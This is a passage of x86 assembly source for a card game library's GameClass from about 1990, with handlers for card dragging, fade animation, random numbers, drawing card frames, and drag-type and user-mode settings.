GameQueryDragCard %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: MSG_GAME_QUERY_DRAG_CARD handler for GameClass This is the method that a deck calls when one of its cards is selected. This method determines whether a given card should be included in the drag or not, depending on the deck's attributes. For example, in the following scenario: +--------------------+ ! ! ! 6 Hearts ! ! ! +--------------------+ ! ! ! 5 Clubs ! ! ! +--------------------+ ! ! ! 4 Diamonds ! ! ! +--------------------+ ! ! ! 3 Clubs ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! +--------------------+ if the 4 is selected, and we are playing klondike with the windows-type extension, we want to drag the 3 and the 4; we would make three calls to this method; calls concering the 3 and 4 would indicate that the cards should be draggedf, whereas the 5 would be rejected. CALLED BY: PASS: ds:di = game instance *ds:si = game object ch = # of selected card ;(the 4 in the above example) cl = attrs of selected card ;(the 4 in the above example) dh = # of query card dl = attrs of query card bp = deck attrs CHANGES: RETURN: carry set if accept carry clear if no accept DESTROYED: PSEUDO CODE/STRATEGY: KNOWN BUGS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- jon 9/90 initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GameQueryDragCard method GameClass, MSG_GAME_QUERY_DRAG_CARD ANDNF bp, mask DA_DDWC ;filter through ;the info on which ;cards to drag cmp bp, DDWC_NONE shl offset DA_DDWC ;check if this deck ;drags cards at all jne notNone ;none: clc ;if the deck doesn't jmp endGameQueryDragCard ;drag cards, then ;clear the carry and ;return notNone: cmp bp, DDWC_TOP_ONLY shl offset DA_DDWC jne notTopOnly ;topOnly: tst ch ;if we can only drag the top card, see jz selectedIsTop ;if the selected card is the top clc jmp endGameQueryDragCard selectedIsTop: tst dh ;if selected = query = top card, then accept jz nIsTop clc jmp endGameQueryDragCard nIsTop: stc jmp endGameQueryDragCard notTopOnly: cmp bp, DDWC_UNTIL_SELECTED shl offset DA_DDWC jne notUntilSelected ;untilSelected: ;if we're dragging all cards above and cmp dh, ch ;including the selected card, see if jg queryGreater ;query card is <= selected card ;queryNotGreater: stc jmp endGameQueryDragCard queryGreater: clc jmp endGameQueryDragCard notUntilSelected: ;must be DDWC_TOP_OR_UPS tst ch ;selected = top card? jnz ups ;if not, drag all up cards ;top: tst dh ;if so, see if query = top jnz topSelectedAndQueryNotTop stc jmp endGameQueryDragCard topSelectedAndQueryNotTop: clc jmp endGameQueryDragCard ups: test dl, mask CA_FACE_UP ;we want all up cards, so see jnz cardIsUp ;if query card is face up. clc jmp endGameQueryDragCard cardIsUp: stc endGameQueryDragCard: ret GameQueryDragCard endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GameDistributeFade %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: MSG_GAME_DISTRIBUTE_FADE handler for GameClass Sends a MSG_CARD_FADE_DRAW to every card in the fade array. CALLED BY: A timer PASS: ds:di = game instance *ds:si = game object CHANGES: any fading cards fade in one more step RETURN: nothing DESTROYED: ax, bx, cx, bp, di PSEUDO CODE/STRATEGY: KNOWN BUGS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- jon 10/90 initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GameDistributeFade method GameClass, MSG_GAME_DISTRIBUTE_FADE push ds:[LMBH_handle], si mov bp, ds:[di].GI_gState mov cl, ds:[di].GI_incrementalFadeMask mov si, ds:[di].GI_fadeArray mov bx, cs mov di, offset SendCardMethodFade call ChunkArrayEnum ; ; If there're still cards in the array, we need to start another timer ; call ChunkArrayGetCount ;get initial array pop bx, si jcxz done mov al, TIMER_EVENT_ONE_SHOT mov cx, CARD_FADE_PERIOD mov dx, MSG_GAME_DISTRIBUTE_FADE call TimerStart done: ret GameDistributeFade endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SendCardMethodFade %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Callback routine for fading that sends a MSG_CARD_FADE_DRAW to a card CALLED BY: ChunkArrayEnum in GameDistributeFade PASS: ds:di = array element bp = gstate to draw through cl = incremental fade mask CHANGES: RETURN: nothing DESTROYED: ax, bx, di, si PSEUDO CODE/STRATEGY: KNOWN BUGS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- jon 11/29/90 This callback routine was added when the fade mechanism was rewritten to incorporate the chunkarray %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SendCardMethodFade proc far mov bx, ds:[di].handle mov si, ds:[di].chunk mov di, mask MF_FIXUP_DS mov ax, MSG_CARD_FADE_DRAW call ObjMessage clc ;continue the enumeration ret SendCardMethodFade endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GameZeroFadeArray %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: MSG_GAME_ZERO_FADE_ARRAY handler for GameClass Informs all the cards in the fade array that they are done fading (like it or not), then clears the array and stops the timer (if any) and destroys the gstate (if any). CALLED BY: PASS: ds:di = game instance CHANGES: clears the fade array, tells any cards that were there that they're done fading, kills the timer and gstate RETURN: nothing DESTROYED: ax, bx, cx, dx, PSEUDO CODE/STRATEGY: KNOWN BUGS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- jon 11/29/90 Added to implement chunkarray fading %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GameZeroFadeArray method GameClass, MSG_GAME_ZERO_FADE_ARRAY push si ;save offset mov si, ds:[di].GI_fadeArray call ChunkArrayGetCount jcxz done if 0 ;;;unnecessary for one shot timer clr bx xchg bx, ds:[di].GI_faderHandle EC< tst bx > EC< ERROR_Z CANT_STOP_TIMER_WITH_NULL_HANDLE > clr ax ; 0 => continual call TimerStop endif clr bx xchg bx, ds:[di].GI_gState EC< tst bx > EC< ERROR_Z CANT_DESTROY_GSTATE_WITH_NULL_HANDLE > mov di, bx call GrDestroyState mov bx, cs mov di, offset SendCardMethodClearFading call ChunkArrayEnum call ChunkArrayZero done: pop si ;restore offset call ObjMarkDirty ret GameZeroFadeArray endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SendCardMethodClearFading %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Callback routine that sends a card a method informing it that it should mark itself as done fading, CALLED BY: ChunkArrayEnum in GameZeroFadeArray PASS: ds:di = array element CHANGES: card in array element gets its CA_FADING bit cleared RETURN: nothing DESTROYED: ax, bx, di, si PSEUDO CODE/STRATEGY: KNOWN BUGS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- jon 11/29/90 Added to implement chunkarray fading %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SendCardMethodClearFading proc far mov bx, ds:[di].handle mov si, ds:[di].chunk mov di, mask MF_FIXUP_DS mov ax, MSG_CARD_CLEAR_FADING call ObjMessage clc ret SendCardMethodClearFading endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GameSeedRandom %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: MSG_GAME_SEED_RANDOM CALLED BY: PASS: ds:di = game instance *ds:si = game object dx = seed CHANGES: nothing RETURN: nothing DESTROYED: di PSEUDO CODE/STRATEGY: KNOWN BUGS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- jon 10/90 initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GameSeedRandom method GameClass, MSG_GAME_SEED_RANDOM mov ds:[di].GI_randomSeed, dx call ObjMarkDirty ret GameSeedRandom endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GameRandom %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Return a random number between 0 and DL CALLED BY: PASS: ds:di = game instance *ds:si = game object DL = max for returned number RETURN: DX = number between 0 and DL DESTROYED: AX PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: This random number generator is not a very good one; it is sufficient for a wide range of tasks requiring random numbers (it will work fine for shuffling, etc.), but if either the "randomness" or the distribution of the random numbers is crucial, you may want to look elsewhere. REVISION HISTORY: Name Date Description ---- ---- ----------- ardeb 1/11/89 Initial version jon 10/90 Customized for GameClass %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GameRandom method GameClass, MSG_GAME_RANDOM mov cx, dx mov ax, ds:[di].GI_randomSeed mov dx, 4e6dh mul dx mov ds:[di].GI_randomSeed, ax call ObjMarkDirty sar dx, 1 ror ax, 1 sar dx, 1 ror ax, 1 sar dx, 1 ror ax, 1 sar dx, 1 ror ax, 1 push ax mov al, 255 mul cl mov dx, ax pop ax Random2: sub ax, dx ja Random2 add ax, dx div cl clr dx mov dl, ah ret GameRandom endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GameDrawBlankCard %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: MSG_GAME_DRAW_BLANK_CARD handler for GameClass CALLED BY: PASS: ds:di = game instance *ds:si = game object bp = gstate to draw through cx,dx = left,top of card CHANGES: nothing RETURN: nothing DESTROYED: PSEUDO CODE/STRATEGY: KNOWN BUGS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- jon 10/90 initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GameDrawBlankCard method GameClass, MSG_GAME_DRAW_BLANK_CARD push ds:[di].GI_frameReg mov si, ds:[di].GI_interiorReg mov si, ds:[si] mov di, bp mov ax, cx mov bx, dx call GrDrawRegion push ax mov ax, C_BLACK call GrSetAreaColor pop ax pop si mov si, ds:[si] call GrDrawRegion ret GameDrawBlankCard endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GameDrawFrame %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: CALLED BY: PASS: CHANGES: RETURN: DESTROYED: PSEUDO CODE/STRATEGY: KNOWN BUGS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- jon 12/90 initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GameDrawFrame method GameClass, MSG_GAME_DRAW_FRAME push ds:[di].GI_frameReg mov di, bp mov ax, C_BLACK call GrSetAreaColor mov ax, cx mov bx, dx pop si mov si, ds:[si] call GrDrawRegion ret GameDrawFrame endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GameFakeBlankCard %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: MSG_GAME_FAKE_BLANK_CARD handler for GameClass Draws a faked blank card (a black-bordered write rectangle the size of a card) at the specified place CALLED BY: PASS: ds:di = game instance *ds:si = game object cx,dx = left,top of fake blank card bp = gstate to draw through CHANGES: RETURN: nothing DESTROYED: ax, bx, cx, dx, bp, di PSEUDO CODE/STRATEGY: KNOWN BUGS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- jon 10/90 initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GameFakeBlankCard method GameClass, MSG_GAME_FAKE_BLANK_CARD mov ax, cx mov bx, dx mov cx, ds:[di].GI_cardWidth mov dx, ds:[di].GI_cardHeight dec cx dec dx add cx, ax add dx, bx mov di, bp call GrFillRect push ax mov ax, C_BLACK call GrSetAreaColor pop ax call GrDrawRect ret GameFakeBlankCard endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GameShutdown %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: MSG_GAME_SHUTDOWN handler for GameClass Takes care of things that need to be taken care of before exiting the application (e.g., turn off the fade timer, etc.) CALLED BY: PASS: *ds:si = game object CHANGES: RETURN: nothing DESTROYED: PSEUDO CODE/STRATEGY: KNOWN BUGS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- jon 10/90 initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GameShutdown method GameClass, MSG_GAME_SHUTDOWN ; ; Stop any fading ; mov ax, MSG_GAME_ZERO_FADE_ARRAY call ObjCallInstanceNoLock ret GameShutdown endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% CopyRegionToChunk %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Copies a passed region into a passed lmem chunk CALLED BY: GameSetupStuff PASS: ds:si = region di = object block segment CHANGES: RETURN: *di:ax = newly copied region (suitable for drawing) cx = region width dx = region height DESTROYED: PSEUDO CODE/STRATEGY: KNOWN BUGS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- jon 10/90 initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ CopyRegionToChunk proc near push si call GrGetPtrRegBounds ;si <- end reg, ;ax,bx <- left, top ;cx,dx <- right, bottom sub cx, ax inc cx ;cx <- width sub dx, bx inc dx ;dx <- height pop bx push ds mov ds, di ;di <- bitmap segment pop di ;ds <- game segment push cx, dx ;save width, height mov cx, bx xchg cx, si ;cx <- end, si <- start sub cx, si ;cx <- size of region add cx, size Rectangle mov al, mask OCF_IGNORE_DIRTY ; ObjChunkFlags for new ; chunk call LMemAlloc ;get space to store our ;region push es ;save dgroup segmov es, ds ;es <- game segment mov ds, di ;ds <- bitmap segment mov di, ax mov di, es:[di] ; *es:di = clear space push ax, cx, si call GrGetPtrRegBounds stosw mov ax, bx stosw mov ax, cx stosw mov ax, dx stosw pop ax, cx, si sub cx, size Rectangle ;;at this point, cx = size of region, ;; *ds:si = original region ;; *es:di = empty space for us to copy region into rep movsb ; copy region in segmov ds, es pop es ; restore dgroup pop cx, dx ;region width, height ret CopyRegionToChunk endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GameVupQuery %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: MSG_VIS_VUP_QUERY handler for GameClass. CALLED BY: PASS: *ds:si = game object cx = VisUpwardQueryType CHANGES: RETURN: depends on a lot of things... DESTROYED: PSEUDO CODE/STRATEGY: KNOWN BUGS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- jon 10/90 initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GameVupQuery method GameClass, MSG_VIS_VUP_QUERY cmp cx, VUQ_GAME_OD jne checkAttrs mov cx, ds:[LMBH_handle] mov dx, si jmp markQueryHandled checkAttrs: cmp cx, VUQ_GAME_ATTRIBUTES jne checkFadeMask mov cl, ds:[di].GI_gameAttrs jmp markQueryHandled checkFadeMask: cmp cx, VUQ_INITIAL_FADE_MASK jne checkBitmaps mov cl, ds:[di].GI_initialFadeMask jmp markQueryHandled checkBitmaps: cmp cx, VUQ_CARD_BITMAP jne checkDimensionQuery mov ax, MSG_GAME_GET_BACK_BITMAP test bp, mask CA_FACE_UP ;see if card is face down jz getBitmap mov ax, MSG_GAME_GET_FACE_BITMAP getBitmap: call ObjCallInstanceNoLock jmp markQueryHandled checkDimensionQuery: cmp cx, VUQ_CARD_DIMENSIONS jne passItOnUp mov cx, ds:[di].GI_cardWidth mov dx, ds:[di].GI_cardHeight markQueryHandled: stc jmp endGameVupQuery passItOnUp: clc endGameVupQuery: ret GameVupQuery endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GameVisOpen %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: MSG_VIS_OPEN handler for GameClass game marks itself as visually open, then calls superclass CALLED BY: PASS: ds:di = game instance *ds:si = game object CHANGES: RETURN: nothing DESTROYED: PSEUDO CODE/STRATEGY: KNOWN BUGS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- jon 10/90 initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GameVisOpen method GameClass, MSG_VIS_OPEN RESET ds:[di].GI_gameAttrs, GA_ICONIFIED call ObjMarkDirty mov di, offset GameClass CallSuper MSG_VIS_OPEN ret GameVisOpen endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GameVisClose %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: MSG_VIS_CLOSE handler for GameClass Makes sure that all fading cards are stopped here, then calls superclass CALLED BY: PASS: ds:di = game instance *ds:si = game object CHANGES: RETURN: nothing DESTROYED: PSEUDO CODE/STRATEGY: KNOWN BUGS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- jon 10/90 initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GameVisClose method GameClass, MSG_VIS_CLOSE SET ds:[di].GI_gameAttrs, GA_ICONIFIED call ObjMarkDirty ; ; Stop any fading ; mov ax, MSG_GAME_ZERO_FADE_ARRAY call ObjCallInstanceNoLock mov di, offset GameClass mov ax, MSG_VIS_CLOSE CallSuper MSG_VIS_CLOSE ret GameVisClose endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GameReloc %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Clear out the optr of the cardback-selection summons when we're first brought in from the resource or state. CALLED BY: MSG_META_RELOCATE/MSG_META_UNRELOCATE PASS: *ds:si = game object ds:di = GameInstance ax = MSG_META_RELOCATE/MSG_META_UNRELOCATE RETURN: carry set on error DESTROYED: nothing PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: c REVISION HISTORY: Name Date Description ---- ---- ----------- ardeb 11/ 1/90 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GameReloc method GameClass, reloc .enter cmp ax, MSG_META_RELOCATE jne done mov ds:[di].GI_faderHandle, 0 mov ds:[di].GI_gState, 0 mov ds:[di].GI_vmFile, 0 call ObjMarkDirty done: clc .leave mov di, offset GameClass call ObjRelocOrUnRelocSuper ret GameReloc endp if 0 COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GameChangeBack %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Gives user a summons through which she can select among possible card backs CALLED BY: PASS: ds:di = game instance *ds:si = game object CHANGES: RETURN: nothing DESTROYED: PSEUDO CODE/STRATEGY: KNOWN BUGS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- jon 10/90 initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GameChangeBack method GameClass, MSG_GAME_CHANGE_BACK mov cx, ds:[di].GI_backSummons.handle mov dx, ds:[di].GI_backSummons.chunk jcxz createSummons haveSummons: CallObjectCXDX MSG_GEN_INTERACTION_INITIATE, MF_FIXUP_DS ret createSummons: mov ax, MSG_GAME_CREATE_BACK_SUMMONS call ObjCallInstanceNoLock Deref_DI Game_offset mov ds:[di].GI_backSummons.handle, cx mov ds:[di].GI_backSummons.chunk, dx call ObjMarkDirty jmp haveSummons GameChangeBack endm endif COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GameChooseBack %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Change the backs of all the cards to match the one the user has chosen. CALLED BY: MSG_GAME_CHOOSE_BACK PASS: ds:di = game instance *ds:si = game object cx - which back RETURN: nothing DESTROYED: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- jon 11/ 1/90 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GameChooseBack method GameClass, MSG_GAME_CHOOSE_BACK ;; user has the right to get rid of the win back, if ;; he so chooses... RESET ds:[di].GI_gameAttrs, GA_USE_WIN_BACK mov ds:[di].GI_whichBack, cx call ObjMarkDirty mov ax, MSG_DECK_CHANGE_KIDS_BACKS call VisSendToChildren mov ax, MSG_DECK_REDRAW call VisSendToChildren ret GameChooseBack endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GameSetFadeParameters %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: MSG_GAME_SET_FADE_PARAMETERS handler for GameClass Sets the value of the initial and incremental area masks to use while fading cards in. CALLED BY: PASS: ds:di = game instance *ds:si = game object dl = initial area mask (e.g., SDM_0 for full-fledged fading, SDM_100 for no fading). cl = incremental area mask (e.g., SDM_25 - SDM_0) CHANGES: RETURN: nothing DESTROYED: nothing PSEUDO CODE/STRATEGY: KNOWN BUGS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- jon 10/90 initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GameSetFadeParameters method GameClass, MSG_GAME_SET_FADE_PARAMETERS mov ds:[di].GI_incrementalFadeMask, cl mov ds:[di].GI_initialFadeMask, dl call ObjMarkDirty ret GameSetFadeParameters endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GameGetDragType %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: MSG_GAME_GET_DRAG_TYPE handler for GameClass Returns the drag mode we're in (i.e., full or outline drag) CALLED BY: PASS: ds:di = game instance *ds:si = game object CHANGES: nothing RETURN: cl = DragType DESTROYED: nothing PSEUDO CODE/STRATEGY: KNOWN BUGS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- jon 8/90 initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GameGetDragType method GameClass, MSG_GAME_GET_DRAG_TYPE mov cl, ds:[di].GI_dragType ret GameGetDragType endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GameSetDragType %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: MSG_GAME_SET_DRAG_TYPE handler for GameClass Sets the drag mode to the passed value CALLED BY: PASS: ds:di = game instance *ds:si = game object cl = DragType CHANGES: RETURN: nothing DESTROYED: nothing PSEUDO CODE/STRATEGY: KNOWN BUGS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- jon 8/90 initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GameSetDragType method GameClass, MSG_GAME_SET_DRAG_TYPE mov ds:[di].GI_dragType, cl call ObjMarkDirty ret GameSetDragType endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GameGetUserMode %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: MSG_GAME_GET_USER_MODE handler for GameClass Returns UserMode (Beginner, Intermediate, Advanced) CALLED BY: PASS: ds:di = game instance *ds:si = game object CHANGES: RETURN: cl = UserMode DESTROYED: cl PSEUDO CODE/STRATEGY: KNOWN BUGS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- jon 8/90 initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GameGetUserMode method GameClass, MSG_GAME_GET_USER_MODE mov cl, ds:[di].GI_userMode ret GameGetUserMode endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GameSetUserMode %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: MSG_GAME_SET_USER_MODE handler for GameClass Sets the user mode to the passed value CALLED BY: PASS: ds:di = game instance *ds:si = game object cl = desired UserMode CHANGES: RETURN: nothing DESTROYED: nothing PSEUDO CODE/STRATEGY: KNOWN BUGS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- jon 8/90 initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GameSetUserMode method GameClass, MSG_GAME_SET_USER_MODE mov ds:[di].GI_userMode, cl call ObjMarkDirty ret GameSetUserMode endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GameHandSelected %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: MSG_GAME_HAND_SELECTED handler for GameClass This is actually a method that will be widely subclassed, but I'm putting in this default handler 'cause I get off on these things. CALLED BY: PASS: ds:di = game instance *ds:si = game object CHANGES: RETURN: nothing DESTROYED: PSEUDO 